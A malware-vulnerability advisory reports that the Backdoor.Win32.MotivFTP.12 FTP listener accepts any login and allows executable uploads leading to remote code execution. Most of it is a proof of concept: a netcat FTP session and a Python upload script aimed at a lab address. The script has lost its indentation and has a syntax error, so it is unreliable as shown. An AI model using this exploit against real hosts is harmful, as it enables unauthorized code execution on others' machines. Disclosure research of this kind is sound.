Backdoor.Win32.MotivFTP.12 Authentication Bypass / Code Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/88785a093b8fa00893214dd220ac255d.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.MotivFTP.12  
Vulnerability: Authentication Bypass RCE   
Description: The malware listens on TCP port 21. Third-party attackers who can reach the system can logon using any username/password combination. Attackers may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.   
Type: PE32  
MD5: 88785a093b8fa00893214dd220ac255d  
Vuln ID: MVID-2021-0203   
Disclosure: 05/07/2021  
  
Exploit/PoC:  
1) logon as any user  
  
nc64.exe 192.168.88.127 21  
220 FTP Server ready  
USER mal  
331 Password required for mal.  
PASS vuln  
230 User mal logged in.  
SYST  
215 UNIX Type: L8 Internet Component Suite  
PASV  
227 Entering Passive Mode (192,168,88,127,195,34).  
STOR DOOM.exe  
150 Opening data connection for DOOM.exe.  
226 File received ok  
  
  
2) calculate port and run upload script  
  
from socket import *  
  
MALWARE_HOST="192.168.88.127"  
PORT=49954  
DOOM="DOOM.exe" #Calculate the port 195*256+34 = 49954  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
f = open(DOOM, "rb")  
EXE = f.read()  
s.send(EXE)  
  
while EXE:  
s.send(EXE)  
EXE=f.read()  
  
s.close()  
  
print("Backdoor.Win32.MotivFTP.12 / Authentication Bypass RCE")  
print("MD5: 88785a093b8fa00893214dd220ac255d"  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
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`